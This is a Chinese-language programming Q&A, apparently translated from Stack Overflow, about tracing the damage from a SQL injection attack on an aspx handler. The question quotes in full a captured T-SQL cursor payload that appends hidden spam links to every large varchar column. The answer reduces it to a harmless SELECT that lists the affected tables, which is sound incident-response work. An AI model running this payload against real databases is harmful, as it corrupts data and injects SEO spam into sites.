最近,我们发现我们的一个aspx处理程序是sql注入攻击的目标。是什么原因使得我们从索引X开始直到url字符串结尾的url的子字符串,然后将其与数据库中的记录匹配,这使得攻击者很容易。
以下是他们进行注射的一个例子:
;declare @c cursor;
declare @d varchar(4000);
set @c=cursor
for select
'update ['+TABLE_NAME+']
set ['+COLUMN_NAME+']=['+COLUMN_NAME+']+case ABS(CHECKSUM(NewId()))%7
when 0 then ''''+char(60)+''div style="display:none"''+char(62)
+''are abortions safe ''
+char(60)+''a href="http:''+char(47)+char(47)
+''www.ooblong.com''+char(47)+''blog''+char(47)
+''template''+char(47)+''page''+char(47)+''abortion-clinics-nyc.aspx"''
+char(62)+case ABS(CHECKSUM(NewId()))%3
when 0 then ''reasons against abortion''
when 1 then ''pregnant abortion''
else ''pill for pregnancy termination'' end
+char(60)+char(47)+''a''+char(62)+'' how much does a abortion cost''
+char(60)+char(47)+''div''+char(62)+'''' else '''' end'
FROM sysindexes AS i
INNER JOIN sysobjects AS o
ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS
ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1)
and DATA_TYPE like '%varchar'
and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);
open @c;
fetch next from @c into @d;
while @@FETCH_STATUS=0
begin exec (@d);
fetch next from @c into @d;
end;
close @c--
我们已经确保我们的aspx处理程序拒绝这些请求。现在我们想知道哪些表受到这次攻击的影响。我们发现至少有2个表受到影响,但我们担心会有更多表。我们如何对上面的SQL进行反向工程以找出它影响哪些表?
答案 0 :(得分:1)
只需接受您展示的查询,并删除有关攻击本身的所有不必要的详细信息,您将获得:
SELECT TABLE_NAME, COLUMN_NAME
FROM sysindexes AS i
INNER JOIN sysobjects AS o
ON i.id=o.id
INNER JOIN INFORMATION_SCHEMA.COLUMNS
ON o.NAME=TABLE_NAME
WHERE(indid=0 or indid=1)
and DATA_TYPE like '%varchar'
and(CHARACTER_MAXIMUM_LENGTH=-1 or CHARACTER_MAXIMUM_LENGTH=2147483647);
此查询的输出中的表和列在游标中使用,并受到您提到的攻击的影响。